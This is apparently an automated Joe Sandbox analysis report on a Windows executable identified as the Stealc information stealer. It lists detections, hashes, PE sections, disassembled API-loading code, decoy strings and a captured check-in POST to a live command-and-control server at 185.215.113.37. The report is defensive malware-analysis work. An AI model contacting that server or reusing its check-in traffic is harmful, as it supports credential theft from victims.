file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.370	file.exe, 00000000.00000002.2239077197.000000000116E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2239077197.000000000116E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528897
Start date and time:	2024-10-08 12:31:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 86
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	7AeSqNv1rC.exe	Get hash	malicious	MicroClip, Vidar	Browse	185.215.113.117
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946805946081707
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'847'808 bytes
MD5:	555446e29069811f705b562473456397
SHA1:	4545adba658522cf1035be16883def9c888c79e3
SHA256:	ca41747721e954859ba3e691ac62a90dd426459f5622cdd2729e34c1bc64fdbc
SHA512:	dbe1dc92ff54a08fe656207c71ce97ed4b0d3a7dda8de91bd2445124dd407124991e7b5e2b2c6b7a0ad02d38ffc26091f977e40e431654e8f965f2547c07b121
SSDEEP:	49152:3TC4p7SH09Kl2zBDZOJoUH9+uZN3EevX:3x7SHeKl2NDZcowRTX
TLSH:	538533AD467D7B27CEDFEABB874B9006C7E565B0427D92FB10F43606C419A3D6839028
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5ED4D68BFAh
movups xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F5ED4D6ABF5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	50c2b416d8d4faeef21ac8b94afe98cd	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a3000	0x200	4dd03543d2c1dfb3ae1e233e6dabaabc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xsbjvjcw	0x501000	0x19d000	0x19d000	e6eee176a43ddaf29d428f9d6f130a66	False	0.994823391154661	data	7.9535443990541745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jgzmrfrk	0x69e000	0x1000	0x400	1ce73c1eecd8b7174193ea00ab6575fb	False	0.763671875	data	5.970532972526244	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69f000	0x3000	0x2200	7ce881734d52dc90afe9e4bedda19f12	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T12:32:11.465876+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49727	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 12:32:10.509358883 CEST	49727	80	192.168.2.6	185.215.113.37
Oct 8, 2024 12:32:10.514188051 CEST	80	49727	185.215.113.37	192.168.2.6
Oct 8, 2024 12:32:10.514271975 CEST	49727	80	192.168.2.6	185.215.113.37
Oct 8, 2024 12:32:10.517584085 CEST	49727	80	192.168.2.6	185.215.113.37
Oct 8, 2024 12:32:10.522346973 CEST	80	49727	185.215.113.37	192.168.2.6
Oct 8, 2024 12:32:11.209135056 CEST	80	49727	185.215.113.37	192.168.2.6
Oct 8, 2024 12:32:11.209291935 CEST	49727	80	192.168.2.6	185.215.113.37
Oct 8, 2024 12:32:11.231838942 CEST	49727	80	192.168.2.6	185.215.113.37
Oct 8, 2024 12:32:11.236675024 CEST	80	49727	185.215.113.37	192.168.2.6
Oct 8, 2024 12:32:11.462222099 CEST	80	49727	185.215.113.37	192.168.2.6
Oct 8, 2024 12:32:11.465876102 CEST	49727	80	192.168.2.6	185.215.113.37
Oct 8, 2024 12:32:13.717098951 CEST	49727	80	192.168.2.6	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49727	185.215.113.37	80	5476	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 12:32:10.517584085 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 12:32:11.209135056 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 10:32:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 12:32:11.231838942 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 36 35 41 38 37 38 32 46 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="hwid"4965A8782FD72284582127------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="build"doma------AFHDAKJKFCFBGCBGDHCB--
Oct 8, 2024 12:32:11.462222099 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 10:32:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	06:32:06
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3b0000
File size:	1'847'808 bytes
MD5 hash:	555446E29069811F705B562473456397
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2239077197.000000000116E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2197795166.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 003C9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,01181730), ref: 003C98A1
GetProcAddress.KERNEL32(76210000,01181508), ref: 003C98BA
GetProcAddress.KERNEL32(76210000,01181748), ref: 003C98D2
GetProcAddress.KERNEL32(76210000,01181760), ref: 003C98EA
GetProcAddress.KERNEL32(76210000,011816D0), ref: 003C9903
GetProcAddress.KERNEL32(76210000,01188C70), ref: 003C991B
GetProcAddress.KERNEL32(76210000,01175430), ref: 003C9933
GetProcAddress.KERNEL32(76210000,011755D0), ref: 003C994C
GetProcAddress.KERNEL32(76210000,01181628), ref: 003C9964
GetProcAddress.KERNEL32(76210000,01181658), ref: 003C997C
GetProcAddress.KERNEL32(76210000,01181640), ref: 003C9995
GetProcAddress.KERNEL32(76210000,01181520), ref: 003C99AD
GetProcAddress.KERNEL32(76210000,011755F0), ref: 003C99C5
GetProcAddress.KERNEL32(76210000,01181550), ref: 003C99DE
GetProcAddress.KERNEL32(76210000,01181778), ref: 003C99F6
GetProcAddress.KERNEL32(76210000,011754F0), ref: 003C9A0E
GetProcAddress.KERNEL32(76210000,01181568), ref: 003C9A27
GetProcAddress.KERNEL32(76210000,01181670), ref: 003C9A3F
GetProcAddress.KERNEL32(76210000,01175510), ref: 003C9A57
GetProcAddress.KERNEL32(76210000,01181820), ref: 003C9A70
GetProcAddress.KERNEL32(76210000,011753B0), ref: 003C9A88
LoadLibraryA.KERNEL32(01181838,?,003C6A00), ref: 003C9A9A
LoadLibraryA.KERNEL32(01181808,?,003C6A00), ref: 003C9AAB
LoadLibraryA.KERNEL32(011817F0,?,003C6A00), ref: 003C9ABD
LoadLibraryA.KERNEL32(01181850,?,003C6A00), ref: 003C9ACF
LoadLibraryA.KERNEL32(01181868,?,003C6A00), ref: 003C9AE0
GetProcAddress.KERNEL32(75B30000,01181880), ref: 003C9B02
GetProcAddress.KERNEL32(751E0000,01181898), ref: 003C9B23
GetProcAddress.KERNEL32(751E0000,011818B0), ref: 003C9B3B
GetProcAddress.KERNEL32(76910000,01188EB0), ref: 003C9B5D
GetProcAddress.KERNEL32(75670000,011753D0), ref: 003C9B7E
GetProcAddress.KERNEL32(77310000,01188B90), ref: 003C9B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 003C9BB6

Strings

NtQueryInformationProcess, xrefs: 003C9BAA

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: a8a1df9fc9d0da8d1f666f7e7fd202b69d5e23936aa3b7921b7fe9e679ed377c
Instruction ID: 00f3c0dd61510ac6d8ed5fea76c9b61d48aa509f99cec28f37e5c4d9dd5a519e
Opcode Fuzzy Hash: a8a1df9fc9d0da8d1f666f7e7fd202b69d5e23936aa3b7921b7fe9e679ed377c
Instruction Fuzzy Hash: 9FA18DF5501241AFC308EFA9ED88E7637F9F768380704851AA60DC3224D77DA84AEB13

Function 003B45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 003B460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 003B479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003B4729

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in 